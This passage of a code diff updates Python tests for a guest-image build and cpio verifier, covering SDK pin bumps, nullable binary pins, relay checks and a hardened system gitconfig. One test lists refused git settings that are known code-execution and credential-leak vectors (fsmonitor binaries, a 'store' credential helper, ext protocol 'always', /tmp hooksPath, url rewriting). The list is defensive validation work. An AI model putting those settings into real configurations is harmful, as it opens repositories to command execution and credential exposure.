test_a_full_bump_moves_every_sdk_derived_pin_and_leaves_none_stale(self): + pins_text, workflow, cli, readme = self.full() + self.assertEqual(bump.sdk_derived_problems(pins_text, workflow, cli, readme), []) + pins, old = json.loads(pins_text), json.loads(PINS_TEXT) + self.assertEqual((pins["runtimeArtifacts"]["launcher"]["sourceSha256"], pins["runtimeArtifacts"]["ownerLibrary"]["sourceSha256"]), (self.LAUNCHER, self.OWNER)) + self.assertEqual(json.loads(cli)["sdkCommit"], NEW) + self.assertEqual(json.loads(cli)["supervisorSha256"], SUP) + self.assertIn(f"SDK main at `{NEW[:8]}`", readme) + self.assertEqual(pins["packageLockSha256"], old["packageLockSha256"]) # the package lock comes from the Debian snapshot pins, not the SDK + self.assertEqual(pins["expectedArtifact"], old["expectedArtifact"]) + + def test_each_stale_leftover_is_detected(self): + pins_text, workflow, cli, readme = self.full() + stale = json.loads(PINS_TEXT)["sdkCommit"] + for label, args in (("cli", (pins_text, workflow, CLI_TEXT, readme)), ("readme", (pins_text, workflow, cli, README_TEXT)), + ("workflow", (pins_text, WORKFLOW_TEXT, cli, readme)), ("pins", (PINS_TEXT, workflow, cli, readme))): + with self.subTest(label): + self.assertNotEqual(bump.sdk_derived_problems(*args), []) + self.assertNotIn(stale, pins_text) + + def test_a_bump_without_the_cli_fixture_for_the_pinned_commit_is_refused(self): + with self.assertRaises(ValueError): + self.full(cli=CLI_TEXT.replace(json.loads(PINS_TEXT)["sdkCommit"], "9" * 40)) + with self.assertRaises(ValueError): + self.full(readme="no commit named here") + + if __name__ == "__main__": unittest.main() diff --git a/scripts/cowork-guest-artifact/test_image.py b/scripts/cowork-guest-artifact/test_image.py index bb0204c70..603205876 100644 --- a/scripts/cowork-guest-artifact/test_image.py +++ b/scripts/cowork-guest-artifact/test_image.py @@ -186,8 +186,8 @@ def test_the_sdk_pin_is_a_full_commit_and_records_what_it_replaced(self): self.assertRegex(PINS['sdkPin']['previousCommit'],r'^[0-9a-f]{40}$') self.assertNotEqual(PINS['sdkCommit'],PINS['sdkPin']['previousCommit']) self.assertEqual(PINS['sdkCommit'],PINS['sdkPin']['mainAt']) - self.assertEqual(PINS['sdkCommit'],'7e71929d0231be2d77645bfa47ee2b550f3add22') - self.assertIn(29,PINS['sdkPin']['mergedPullRequests']);self.assertIn(30,PINS['sdkPin']['mergedPullRequests']) + self.assertEqual(PINS['sdkCommit'],'ec91fe06719d76e99bcdbdae8a6daaf690dfeb50') + for number in (29,30,42,43,44,49,50,52):self.assertIn(number,PINS['sdkPin']['mergedPullRequests']) self.assertRegex(PINS['sdkPin']['supervisorSha256'],r'^[0-9a-f]{64}$') def test_the_current_artifact_is_pinned_and_the_last_real_one_before_the_re_pin_is_kept(self): self.assertEqual(set(PINS['expectedArtifact']),{'runtimeSha256','cpioSha256','rootManifestSha256','helperBinarySha256'}) @@ -205,7 +205,8 @@ def test_no_util_linux_and_no_blkid_dependency(self): def test_every_guest_pin_is_a_real_digest_of_the_current_sources(self): build=load_guest_build() for name,entry in PINS['guest']['programs'].items(): - self.assertRegex(entry['binarySha256'],r'^[0-9a-f]{64}$');self.assertNotEqual(entry['binarySha256'],'0'*64) + self.assertIn('binarySha256',entry) # an explicit null is an unpinned binary (build 5 reports it); a missing key is an error + if entry['binarySha256'] is not None:self.assertRegex(entry['binarySha256'],r'^[0-9a-f]{64}$');self.assertNotEqual(entry['binarySha256'],'0'*64) self.assertEqual(entry['sourceSha256'],build.source_digest(build.PROGRAMS[name]+build.HEADERS),name+' source changed: rebuild and re-pin') for name,entry in PINS['guest']['scripts'].items(): path=GUEST/PINS['guest']['scriptPaths'][name] @@ -218,7 +219,7 @@ def test_build_digests_are_checked_against_a_real_build_when_zig_is_provided(sel if not zig:self.skipTest('set WINTER_PINNED_ZIG to the pinned Zig 0.14.1 to rebuild and compare') with tempfile.TemporaryDirectory() as folder: programs,scripts,receipt=image.build_guest(Path(zig),Path(folder)/'guest',PINS) - self.assertEqual(sha(programs['init']),PINS['guest']['programs']['init']['binarySha256']) + if PINS['guest']['programs']['init']['binarySha256'] is not None:self.assertEqual(sha(programs['init']),PINS['guest']['programs']['init']['binarySha256']) class GuestBuildCheckTests(unittest.TestCase): def fake_build(self,receipt): @@ -229,17 +230,61 @@ def run(command,**kwargs): return run def receipt(self,**changes): pins=PINS['guest'];base={'programs':{n:dict(e) for n,e in pins['programs'].items()},'scripts':{n:dict(e) for n,e in pins['scripts'].items()},'zig':'0.14.1'} + for name,entry in base['programs'].items(): + if entry['binarySha256'] is None:entry['binarySha256']=sha(name.encode()+b'-built') # what a build produces while the pin is still null for key,value in changes.items():base[key]=value return base - def build(self,receipt): + def pins_with(self,**binary): + pins=json.loads(json.dumps(PINS)) + for name,value in binary.items(): + if value is ...:del pins['guest']['programs'][name]['binarySha256'] + else:pins['guest']['programs'][name]['binarySha256']=value + return pins + def build(self,receipt,pins=PINS): with tempfile.TemporaryDirectory() as folder,patch.object(image.subprocess,'run',self.fake_build(receipt)): - return image.build_guest(Path('zig'),Path(folder)/'guest',PINS) + return image.build_guest(Path('zig'),Path(folder)/'guest',pins) + def test_a_null_binary_pin_is_unpinned_and_reports_the_built_digest_while_a_set_pin_that_differs_stays_a_hard_failure(self): + receipt=self.receipt();built={name:entry['binarySha256'] for name,entry in receipt['programs'].items()} + # null: the build goes on, and the problem names the program and the digest this build produced + pins=self.pins_with(**{'init':None,'winter-guest-relay':None}) + self.build(receipt,pins) + problems=image.guest_binary_problems(receipt,pins) + self.assertEqual(len(problems),2) + for name in built:self.assertTrue(any(name in line and built[name] in line and 'not pinned' in line for line in problems),name) + # one null, one set and right: only the null is reported + pins=self.pins_with(**{'init':built['init'],'winter-guest-relay':None}) + self.build(receipt,pins);self.assertEqual([line.split()[2] for line in image.guest_binary_problems(receipt,pins)],['winter-guest-relay']) + # all set and right: nothing is reported + pins=self.pins_with(**built);self.build(receipt,pins);self.assertEqual(image.guest_binary_problems(receipt,pins),[]) + # a set pin that differs is NOT unpinned: it is refused, whatever the other program's pin says + for name in built: + with self.subTest(name): + pins=self.pins_with(**{name:'f'*64}) + with self.assertRaisesRegex(ValueError,'is not the pinned build'):self.build(receipt,pins) + pins=self.pins_with(**{'init':None,'winter-guest-relay':None,name:'f'*64}) + with self.assertRaisesRegex(ValueError,'is not the pinned build'):self.build(receipt,pins) + def test_the_build_counts_the_unpinned_guest_binaries_among_its_problems(self): + self.assertIn("problems=check_expected(receipt,pins['expectedArtifact'])+lock_problems+guest_binary_problems(guest_receipt,pins)",Path(image.__file__).read_text()) + def test_an_empty_or_wrongly_typed_binary_pin_is_a_hard_failure_never_unpinned(self): + receipt=self.receipt() + for value in ('',0,False,[],{},'F'*64): + for name in receipt['programs']: + with self.subTest(name=name,value=value): + pins=self.pins_with(**{'init':None,'winter-guest-relay':None,name:value}) + with self.assertRaisesRegex(ValueError,'is not the pinned build'):self.build(receipt,pins) + self.assertEqual([line.split()[2] for line in image.guest_binary_problems(receipt,pins)],[n for n in receipt['programs'] if n!=name]) # (only the nulls are ever UNPINNED) + def test_a_missing_binary_key_is_an_error_not_unpinned(self): + receipt=self.receipt() + for name in receipt['programs']: + with self.subTest(name): + with self.assertRaisesRegex(ValueError,'no binarySha256 key'):self.build(receipt,self.pins_with(**{name:...})) def test_a_matching_build_is_accepted(self): programs,scripts,_=self.build(self.receipt()) self.assertEqual(set(programs),set(PINS['guest']['programs']));self.assertEqual(set(scripts),set(PINS['guest']['scripts'])) def test_a_different_binary_or_drifted_source_or_script_is_refused(self): + pinned=self.pins_with(**{name:entry['binarySha256'] for name,entry in self.receipt()['programs'].items()}) receipt=self.receipt();receipt['programs']['init']['binarySha256']='f'*64 - with self.assertRaises(ValueError):self.build(receipt) + with self.assertRaises(ValueError):self.build(receipt,pinned) receipt=self.receipt();receipt['programs']['winter-guest-relay']['sourceSha256']='f'*64 with self.assertRaises(ValueError):self.build(receipt) receipt=self.receipt();receipt['scripts']['guest_bootstrap.py']['sha256']='f'*64 @@ -291,18 +336,92 @@ def tree(self,init=None): def test_a_root_with_exactly_the_pinned_init_verifies(self): with tempfile.TemporaryDirectory() as folder: root=Path(folder);self.write(root,self.tree(self.INIT)) - result=cpio_verify.verify(root,pinned_init=sha(self.INIT)) + result=cpio_verify.verify(root,pinned_init=sha(self.INIT),require_environment=False) self.assertTrue(result['startupPresent']);self.assertEqual(result['startupEntries'],['init']) def test_an_unpinned_receipt_is_refused_unless_the_flag_names_it(self): with tempfile.TemporaryDirectory() as folder: for value in (False, None, 'true', 1): root=Path(folder)/str(value);self.write(root,self.tree(self.INIT),pinned=value) - with self.assertRaisesRegex(ValueError,'reproducibility'):cpio_verify.verify(root,pinned_init=sha(self.INIT)) - self.assertTrue(cpio_verify.verify(root,pinned_init=sha(self.INIT),allow_unpinned=True)['startupPresent']) + with self.assertRaisesRegex(ValueError,'reproducibility'):cpio_verify.verify(root,pinned_init=sha(self.INIT),require_environment=False) + self.assertTrue(cpio_verify.verify(root,pinned_init=sha(self.INIT),allow_unpinned=True,require_environment=False)['startupPresent']) root=Path(folder)/'missing';self.write(root,self.tree(self.INIT));receipt=json.loads((root/'receipt.json').read_text());del receipt['reproducibilityPinned'];(root/'receipt.json').write_text(json.dumps(receipt)) - with self.assertRaisesRegex(ValueError,'reproducibility'):cpio_verify.verify(root,pinned_init=sha(self.INIT)) + with self.assertRaisesRegex(ValueError,'reproducibility'):cpio_verify.verify(root,pinned_init=sha(self.INIT),require_environment=False) root=Path(folder)/'ok';self.write(root,self.tree(self.INIT)) - self.assertTrue(cpio_verify.verify(root,pinned_init=sha(self.INIT))['startupPresent']) + self.assertTrue(cpio_verify.verify(root,pinned_init=sha(self.INIT),require_environment=False)['startupPresent']) + def test_a_null_init_pin_is_read_back_only_as_unpinned_evidence_and_never_accepted(self): + pins=json.loads(json.dumps(PINS));pins['guest']['programs']['init']['binarySha256']=None + with tempfile.TemporaryDirectory() as folder: + fake=Path(folder)/'pins';fake.mkdir();(fake/'pins.json').write_text(json.dumps(pins)) + root=Path(folder)/'root';self.write(root,self.tree(self.INIT),pinned=False) + with patch.object(cpio_verify,'HERE',fake): + result=cpio_verify.verify(root,allow_unpinned=True,require_environment=False) + self.assertEqual((result['initSha256'],result['initPinned']),(sha(self.INIT),False)) # the unpinned read-back says so + with self.assertRaisesRegex(ValueError,'reproducibility'):cpio_verify.verify(root,require_environment=False) # and without the flag it is never accepted + accepted=Path(folder)/'accepted';self.write(accepted,self.tree(self.INIT),pinned=True) # even a receipt that CLAIMS a pinned build + with self.assertRaisesRegex(ValueError,'not pinned in pins.json'):cpio_verify.verify(accepted,require_environment=False) + # the receipt and the cpio still have to agree about the init, flag or not + liar=Path(folder)/'liar';self.write(liar,self.tree(self.INIT),init_digest=sha(b'other'),pinned=False) + with self.assertRaises(ValueError):cpio_verify.verify(liar,allow_unpinned=True,require_environment=False) + nodigest=Path(folder)/'nodigest';self.write(nodigest,self.tree(self.INIT),pinned=False);receipt=json.loads((nodigest/'receipt.json').read_text());del receipt['initSha256'];(nodigest/'receipt.json').write_text(json.dumps(receipt)) + with self.assertRaisesRegex(ValueError,'no init digest'):cpio_verify.verify(nodigest,allow_unpinned=True,require_environment=False) + # a pin that is set stays the rule: a root whose init is not the pinned one is refused + pins['guest']['programs']['init']['binarySha256']=sha(b'something else');(fake/'pins.json').write_text(json.dumps(pins)) + with patch.object(cpio_verify,'HERE',fake): + with self.assertRaises(ValueError):cpio_verify.verify(root,allow_unpinned=True,require_environment=False) + del pins['guest']['programs']['init']['binarySha256'];(fake/'pins.json').write_text(json.dumps(pins)) + with patch.object(cpio_verify,'HERE',fake): + with self.assertRaisesRegex(ValueError,'no init binarySha256 key'):cpio_verify.verify(root,allow_unpinned=True,require_environment=False) + RELAY=b'\x7fELF-pinned-relay' + def relay_tree(self,relay=None): + tree=self.tree(self.INIT);tree.add(cpio_verify.RELAY_PATH.lstrip('/'),'file',self.RELAY if relay is None else relay,True);return tree + def write_relay(self,folder,tree=None,claim=None,**kw): + self.write(folder,tree or self.relay_tree(),**kw) + receipt=json.loads((folder/'receipt.json').read_text());receipt['relaySha256']=claim or sha(self.RELAY);(folder/'receipt.json').write_text(json.dumps(receipt)) + def with_pins(self,folder,**binary): + pins=json.loads(json.dumps(PINS)) + for name,value in binary.items(): + if value is ...:del pins['guest']['programs'][name]['binarySha256'] + else:pins['guest']['programs'][name]['binarySha256']=value + fake=Path(folder)/('pins-%d'%len(list(Path(folder).glob('pins-*'))));fake.mkdir();(fake/'pins.json').write_text(json.dumps(pins)) + return patch.object(cpio_verify,'HERE',fake) + def test_an_empty_or_wrongly_typed_init_or_relay_pin_is_refused_even_where_a_null_is_read_back(self): + with tempfile.TemporaryDirectory() as folder: + root=Path(folder)/'root';self.write_relay(root,pinned=False) + good={'init':sha(self.INIT),'winter-guest-relay':sha(self.RELAY)} + with self.with_pins(folder,**good): + self.assertEqual(cpio_verify.verify(root,allow_unpinned=True,require_environment=False)['relayPinned'],True) + for value in ('',0,False,[],{},'F'*64,sha(b'other')): + for name in good: + with self.subTest(name=name,value=value): + with self.with_pins(folder,**{**good,name:value}): + with self.assertRaises(ValueError):cpio_verify.verify(root,allow_unpinned=True,require_environment=False) + for name in good: # a missing key, and the one value that is read back as unpinned (null) only with the flag + with self.subTest(name=name,case='missing'): + with self.with_pins(folder,**{**good,name:...}): + with self.assertRaisesRegex(ValueError,'key'):cpio_verify.verify(root,allow_unpinned=True,require_environment=False) + with self.subTest(name=name,case='null'): + with self.with_pins(folder,**{**good,name:None}): + result=cpio_verify.verify(root,allow_unpinned=True,require_environment=False) + self.assertEqual((result['initPinned'],result['relayPinned']),(name!='init',name!='winter-guest-relay')) + accepted=Path(folder)/('accepted-'+name);self.write_relay(accepted,pinned=True) + with self.assertRaisesRegex(ValueError,'not pinned in pins.json'):cpio_verify.verify(accepted,require_environment=False) + def test_the_relay_in_the_cpio_must_be_the_pinned_one_and_the_receipt_must_say_so(self): + with tempfile.TemporaryDirectory() as folder: + good={'init':sha(self.INIT),'winter-guest-relay':sha(self.RELAY)} + with self.with_pins(folder,**good): + cases={'other bytes':dict(tree=self.relay_tree(b'other')),'receipt claims another':dict(claim=sha(b'other'))} + plain=self.tree(self.INIT);plain.add(cpio_verify.RELAY_PATH.lstrip('/'),'file',self.RELAY,False) + cases['not executable']=dict(tree=plain) + for label,kw in cases.items(): + root=Path(folder)/label.replace(' ','-');self.write_relay(root,pinned=True,**kw) + with self.subTest(label): + with self.assertRaises(ValueError):cpio_verify.verify(root,require_environment=False) + root=Path(folder)/'fine';self.write_relay(root,pinned=True) + self.assertEqual(cpio_verify.verify(root,require_environment=False)['relaySha256'],sha(self.RELAY)) + hidden=Path(folder)/'hidden';self.write(hidden,self.relay_tree(),pinned=True) # the receipt cannot hide a relay the cpio ships + with self.assertRaises(ValueError):cpio_verify.verify(hidden,require_environment=False) + with self.with_pins(folder,**{**good,'winter-guest-relay':None}): # a null pin read back with no claim to read it against + with self.assertRaisesRegex(ValueError,'no relay digest'):cpio_verify.verify(hidden,allow_unpinned=True,require_environment=False) def test_the_command_line_needs_the_named_flag_for_an_unpinned_receipt(self): script=Path(cpio_verify.__file__) with tempfile.TemporaryDirectory() as folder: @@ -316,46 +435,46 @@ def test_the_command_line_needs_the_named_flag_for_an_unpinned_receipt(self): def test_a_different_init_missing_init_or_extra_startup_entry_is_refused(self): with tempfile.TemporaryDirectory() as folder: root=Path(folder)/'a';self.write(root,self.tree(b'other')) - with self.assertRaises(ValueError):cpio_verify.verify(root,pinned_init=sha(self.INIT)) + with self.assertRaises(ValueError):cpio_verify.verify(root,pinned_init=sha(self.INIT),require_environment=False) root=Path(folder)/'b';self.write(root,self.tree()) - with self.assertRaises(ValueError):cpio_verify.verify(root,pinned_init=sha(self.INIT)) + with self.assertRaises(ValueError):cpio_verify.verify(root,pinned_init=sha(self.INIT),require_environment=False) tree=self.tree(self.INIT);tree.add('linuxrc','file',b'#!/bin/sh',True);root=Path(folder)/'c';self.write(root,tree) - with self.assertRaises(ValueError):cpio_verify.verify(root,pinned_init=sha(self.INIT)) + with self.assertRaises(ValueError):cpio_verify.verify(root,pinned_init=sha(self.INIT),require_environment=False) def test_a_receipt_that_does_not_describe_the_init_is_refused(self): with tempfile.TemporaryDirectory() as folder: root=Path(folder)/'a';self.write(root,self.tree(self.INIT),init_digest='0'*64) - with self.assertRaises(ValueError):cpio_verify.verify(root,pinned_init=sha(self.INIT)) + with self.assertRaises(ValueError):cpio_verify.verify(root,pinned_init=sha(self.INIT),require_environment=False) root=Path(folder)/'b';self.write(root,self.tree(self.INIT),present=False) - with self.assertRaises(ValueError):cpio_verify.verify(root,pinned_init=sha(self.INIT)) + with self.assertRaises(ValueError):cpio_verify.verify(root,pinned_init=sha(self.INIT),require_environment=False) def test_the_no_init_mode_still_demands_that_there_is_none(self): with tempfile.TemporaryDirectory() as folder: root=Path(folder)/'a';self.write(root,self.tree()) - self.assertFalse(cpio_verify.verify(root,require_init=False)['startupPresent']) + self.assertFalse(cpio_verify.verify(root,require_init=False,require_environment=False)['startupPresent']) root=Path(folder)/'b';self.write(root,self.tree(self.INIT)) - with self.assertRaises(ValueError):cpio_verify.verify(root,require_init=False) + with self.assertRaises(ValueError):cpio_verify.verify(root,require_init=False,require_environment=False) def test_an_init_that_is_not_executable_is_refused_even_with_the_pinned_bytes(self): with tempfile.TemporaryDirectory() as folder: tree=self.tree();tree.add('init','file',self.INIT,False) # same bytes, mode 0444 root=Path(folder);self.write(root,tree) - with self.assertRaises(ValueError):cpio_verify.verify(root,pinned_init=sha(self.INIT)) + with self.assertRaises(ValueError):cpio_verify.verify(root,pinned_init=sha(self.INIT),require_environment=False) def test_a_member_whose_bytes_changed_is_caught_even_when_the_whole_file_digest_was_updated(self): with tempfile.TemporaryDirectory() as folder: root=Path(folder);self.write(root,self.tree(self.INIT)) data=bytearray((root/'immutable-root.cpio').read_bytes());data[data.index(self.INIT)]^=1;(root/'immutable-root.cpio').write_bytes(bytes(data)) receipt=json.loads((root/'receipt.json').read_text());receipt['cpioSha256']=sha(bytes(data));(root/'receipt.json').write_text(json.dumps(receipt)) - with self.assertRaises(ValueError):cpio_verify.verify(root,pinned_init=sha(self.INIT)) + with self.assertRaises(ValueError):cpio_verify.verify(root,pinned_init=sha(self.INIT),require_environment=False) def test_a_changed_member_other_than_init_is_caught_by_its_own_digest(self): # init is also held to the pinned digest by the startup rule, so only a member the rule does not cover shows that each member is read back with tempfile.TemporaryDirectory() as folder: root=Path(folder);self.write(root,self.tree(self.INIT)) data=bytearray((root/'immutable-root.cpio').read_bytes());data[data.index(b'tool-content')]^=1;(root/'immutable-root.cpio').write_bytes(bytes(data)) receipt=json.loads((root/'receipt.json').read_text());receipt['cpioSha256']=sha(bytes(data));(root/'receipt.json').write_text(json.dumps(receipt)) - with self.assertRaises(ValueError):cpio_verify.verify(root,pinned_init=sha(self.INIT)) + with self.assertRaises(ValueError):cpio_verify.verify(root,pinned_init=sha(self.INIT),require_environment=False) def test_a_tampered_cpio_byte_is_caught(self): with tempfile.TemporaryDirectory() as folder: root=Path(folder);self.write(root,self.tree(self.INIT)) data=bytearray((root/'immutable-root.cpio').read_bytes());data[data.index(self.INIT)]^=1;(root/'immutable-root.cpio').write_bytes(bytes(data)) - with self.assertRaises(ValueError):cpio_verify.verify(root,pinned_init=sha(self.INIT)) + with self.assertRaises(ValueError):cpio_verify.verify(root,pinned_init=sha(self.INIT),require_environment=False) @@ -463,21 +582,53 @@ def write(folder,receipt_extra,tree=tree): (folder/'receipt.json').write_text(json.dumps({'cpioSha256':sha((folder/'immutable-root.cpio').read_bytes()),'initSha256':sha(b'INIT'),'initPresent':True,'reproducibilityPinned':True,**receipt_extra})) with tempfile.TemporaryDirectory() as folder: good=Path(folder)/'good';write(good,{'hostQuery':{'artifacts':{key:{'sha256':value} for key,value in digests.items()}}}) - self.assertEqual(cpio_verify.verify(good,pinned_init=sha(b'INIT'))['runtimeArtifacts'],digests) + self.assertEqual(cpio_verify.verify(good,pinned_init=sha(b'INIT'),require_environment=False)['runtimeArtifacts'],digests) lying=Path(folder)/'lying';write(lying,{'hostQuery':{'artifacts':{key:{'sha256':'0'*64} for key in digests}}}) - with self.assertRaisesRegex(ValueError,'receipt does not describe'):cpio_verify.verify(lying,pinned_init=sha(b'INIT')) + with self.assertRaisesRegex(ValueError,'receipt does not describe'):cpio_verify.verify(lying,pinned_init=sha(b'INIT'),require_environment=False) # an artifact whose bytes no longer match the pin in the same cpio other=Tree() for node_path,node in tree.nodes.items():other.add(node_path,node['kind'],node['data'] if node_path!=cpio_verify.RUNTIME_ARTIFACT_PATHS['executable'].lstrip('/') else b'tampered',node['kind']=='file' and node['mode']==0o555) tampered=Path(folder)/'tampered';write(tampered,{'hostQuery':{'artifacts':{key:{'sha256':value} for key,value in digests.items()}}},other) - with self.assertRaisesRegex(ValueError,'do not match their pin|bytes'):cpio_verify.verify(tampered,pinned_init=sha(b'INIT')) + with self.assertRaisesRegex(ValueError,'do not match their pin|bytes'):cpio_verify.verify(tampered,pinned_init=sha(b'INIT'),require_environment=False) # no artifacts file at all in a root whose receipt claims a host-query runtime bare=Tree();bare.add('init','file',b'INIT',True) missing=Path(folder)/'missing';write(missing,{'hostQuery':{'artifacts':{}}},bare) - with self.assertRaisesRegex(ValueError,'missing from the cpio'):cpio_verify.verify(missing,pinned_init=sha(b'INIT')) + with self.assertRaisesRegex(ValueError,'missing from the cpio'):cpio_verify.verify(missing,pinned_init=sha(b'INIT'),require_environment=False) + # the environment gitconfig: a receipt that claims the pinned one must find exactly it in the cpio + git=(HERE/'environment'/'gitconfig').read_bytes() + def with_git(data): + withgit=Tree();withgit.add('init','file',b'INIT',True);withgit.add(cpio_verify.ENVIRONMENT_GITCONFIG_PATH.lstrip('/'),'file',data);withgit.add(cpio_verify.GIT_TEMPLATE_DIRECTORY.lstrip('/'),'directory') + return withgit + claim={'environment':{'gitconfigSha256':PINS['environment']['gitconfigSha256']}} + plain_root=Path(folder)/'plain_root';write(plain_root,{},bare) + gitgood=Path(folder)/'gitgood';write(gitgood,claim,with_git(git)) + cpio_verify.verify(gitgood,pinned_init=sha(b'INIT')) + gitbad=Path(folder)/'gitbad';write(gitbad,claim,with_git(git+b'# changed\n')) + with self.assertRaisesRegex(ValueError,'do not match their pin'):cpio_verify.verify(gitbad,pinned_init=sha(b'INIT')) + gitlying=Path(folder)/'gitlying';write(gitlying,{'environment':{'gitconfigSha256':'0'*64}},with_git(git)) + with self.assertRaisesRegex(ValueError,'does not describe the pinned environment gitconfig'):cpio_verify.verify(gitlying,pinned_init=sha(b'INIT')) + # a receipt that does not claim the gitconfig cannot hide one the cpio ships, and a verification that requires the claim refuses a root without it + hidden=Path(folder)/'hidden';write(hidden,{},with_git(git)) + with self.assertRaisesRegex(ValueError,'does not describe the environment gitconfig'):cpio_verify.verify(hidden,pinned_init=sha(b'INIT')) + with self.assertRaisesRegex(ValueError,'does not describe the environment gitconfig'):cpio_verify.verify(plain_root,pinned_init=sha(b'INIT'),require_environment=True) + with self.assertRaisesRegex(ValueError,'does not describe the environment gitconfig'):cpio_verify.verify(plain_root,pinned_init=sha(b'INIT')) # the library requires the claim by default + # the image ships the file only under /opt/winter/environment/base: a system gitconfig of the cpio's own is refused, whatever its kind, claim or no claim + for label,kind,data in (('file','file',git),('empty','file',b''),('directory','directory',None)): + stray=with_git(git);stray.add('etc/gitconfig',kind,data) if data is not None else stray.add('etc/gitconfig',kind) + for extra in (claim,{}): + folder_name=Path(folder)/('stray-%s-%d'%(label,len(extra)));write(folder_name,extra,stray) + with self.assertRaisesRegex(ValueError,'literal etc/gitconfig'):cpio_verify.verify(folder_name,pinned_init=sha(b'INIT'),require_environment=False) + self.assertTrue(cpio_verify.verify(plain_root,pinned_init=sha(b'INIT'),require_environment=False)['startupPresent']) # (a root built before the gitconfig, checked without the requirement) + # the command line (the image build's check) requires the claim unless told the root is older than the gitconfig + noinit=Tree();noinit.add('etc/value','file',b'x');old=Path(folder)/'old';write(old,{},noinit) + run=lambda *flags:subprocess.run([sys.executable,'-I','-S','-B',str(HERE/'verify.py'),str(old),'--no-init','--allow-unpinned',*flags],capture_output=True,text=True) + self.assertNotEqual(run().returncode,0);self.assertIn('environment gitconfig',run().stderr) + self.assertEqual(run('--no-environment').returncode,0) + gitabsent=Path(folder)/'gitabsent';write(gitabsent,claim,bare) + with self.assertRaisesRegex(ValueError,'missing or not a regular file'):cpio_verify.verify(gitabsent,pinned_init=sha(b'INIT')) # a root without a host-query claim is unaffected plain=Path(folder)/'plain';write(plain,{},bare) - self.assertIsNone(cpio_verify.verify(plain,pinned_init=sha(b'INIT'))['runtimeArtifacts']) + self.assertIsNone(cpio_verify.verify(plain,pinned_init=sha(b'INIT'),require_environment=False)['runtimeArtifacts']) class TwoPassTests(unittest.TestCase): def test_two_passes_must_agree_byte_for_byte(self): @@ -530,6 +681,56 @@ def test_the_guest_side_has_no_provider_socket_or_provider_class_traffic(self): self.assertNotIn('provider.sock',text,path.name) self.assertNotIn('AF_UNIX',text.replace('/* AF_UNIX */',''),path.name) +class EnvironmentGitconfigTests(unittest.TestCase): + """The environment image's fixed system gitconfig (agent-sdk SH6b mounts it read-only into the process worker): safe defaults only, pinned bytes.""" + TEXT=(HERE/'environment'/'gitconfig').read_bytes() + def files(self,**changes): + files={cpio_verify.ENVIRONMENT_GITCONFIG_PATH:{'kind':'file','mode':0o444,'uid':0,'gid':0,'nlink':1,'size':len(self.TEXT),'sha256':sha(self.TEXT)}, + cpio_verify.GIT_TEMPLATE_DIRECTORY:{'kind':'directory','mode':0o555,'uid':0,'gid':0,'nlink':1,'size':0,'sha256':sha(b'')}} + for path,patch in changes.items(): + key={'file':cpio_verify.ENVIRONMENT_GITCONFIG_PATH,'template':cpio_verify.GIT_TEMPLATE_DIRECTORY}[path] + files[key]=None if patch is None else {**files[key],**patch} + return files + def test_the_pinned_file_is_exactly_the_allowed_settings_and_its_bytes_are_the_pin(self): + self.assertEqual(sha(self.TEXT),PINS['environment']['gitconfigSha256']) + self.assertEqual(cpio_verify.check_gitconfig_text(self.TEXT),cpio_verify.GITCONFIG_SETTINGS) + self.assertEqual(cpio_verify.GITCONFIG_SETTINGS[('init','templatedir')],'/usr/share/winter/git-empty-template') + self.assertTrue(cpio_verify.GIT_TEMPLATE_DIRECTORY.endswith(cpio_verify.GITCONFIG_SETTINGS[('init','templatedir')])) + self.assertEqual(cpio_verify.check_environment_gitconfig(self.files(),sha(self.TEXT)),sha(self.TEXT)) + def test_anything_beyond_the_allowed_settings_is_refused(self): + base=self.TEXT.decode() + extras=['[include]\n\tpath = /x\n','[includeIf "gitdir:/"]\n\tpath = /x\n','[alias]\n\tco = checkout\n','[core]\n\tfsmonitor = /usr/bin/x\n','[core]\n\tsshCommand = x\n','[core]\n\tpager = x\n', + '[credential]\n\thelper = store\n','[url "https://x/"]\n\tinsteadOf = y\n','[safe]\n\tdirectory = *\n','[core]\n\thooksPath = /tmp/hooks\n','[init]\n\ttemplateDir = /tmp/t\n', + '[protocol "ext"]\n\tallow = always\n','[core]\n\tfsmonitor = false\n','[user]\n\tname = x\n'] + for extra in extras: + with self.subTest(extra): + with self.assertRaises(ValueError):cpio_verify.check_gitconfig_text((base+extra).encode()) + for label,text in (('a value changed',base.replace('fsmonitor = false','fsmonitor = true')),('a setting missing',base.replace('\thooksPath = /dev/null\n','')), + ('a continuation',base.replace('/dev/null','/dev/\\\nnull')),('a quoted value',base.replace('= never','= "never"')),('CRLF',base.replace('\n','\r\n')), + ('no final newline',base.rstrip('\n')),('non-ASCII',base+'# \u00e9\n'),('a line outside any section','x = y\n'+base),('a bare section',base+'[core\n'),('a backslash in a comment',base+'# a comment\\\n'),('empty','')): + with self.subTest(label): + with self.assertRaises(ValueError):cpio_verify.check_gitconfig_text(text.encode()) + with self.assertRaises(ValueError):cpio_verify.check_gitconfig_text(b'#'*(64*1024)+b'\n'+self.TEXT) + def test_the_file_and_the_template_directory_must_be_as_the_launcher_and_git_need_them(self): + pin=sha(self.TEXT) + for label,changes in (('missing',{'file':None}),('a symlink',{'file':{'kind':'symlink'}}),('group writable',{'file':{'mode':0o464}}),('other writable',{'file':{'mode':0o446}}), + ('not root',{'file':{'uid':1000}}),('not root group',{'file':{'gid':1000}}),('two links',{'file':{'nlink':2}}),('empty',{'file':{'size':0}}), + ('too big',{'file':{'size':64*1024+1}}),('other bytes',{'file':{'sha256':'0'*64}}),('template missing',{'template':None}),('template a file',{'template':{'kind':'file'}}), + ('template group writable',{'template':{'mode':0o575}}),('template other writable',{'template':{'mode':0o557}}),('template not root',{'template':{'uid':1000}})): + with self.subTest(label): + with self.assertRaises(ValueError):cpio_verify.check_environment_gitconfig(self.files(**changes),pin) + crowded=self.files();crowded[cpio_verify.GIT_TEMPLATE_DIRECTORY+'/hooks']={'kind':'directory','mode':0o555,'uid':0,'gid':0,'nlink':1,'size':0,'sha256':sha(b'')} + with self.assertRaises(ValueError):cpio_verify.check_environment_gitconfig(crowded,pin) + with self.assertRaises(ValueError):cpio_verify.check_environment_gitconfig(self.files(),'0'*64) + def test_the_image_builder_adds_exactly_the_pinned_file_and_the_empty_directory(self): + text=(HERE/'image.py').read_text() + for needle in ("verify.check_gitconfig_text(gitconfig)","pins['environment']['gitconfigSha256']","tree.add(verify.ENVIRONMENT_GITCONFIG_PATH.lstrip('/'),'file',gitconfig,False", + "tree.add(verify.GIT_TEMPLATE_DIRECTORY.lstrip('/'),'directory'","verify.check_environment_gitconfig(tree_files(tree),pins['environment']['gitconfigSha256'])", + "receipt['environment']={'gitconfigPath':'/etc/gitconfig','gitconfigSha256':sha(gitconfig)}"): + 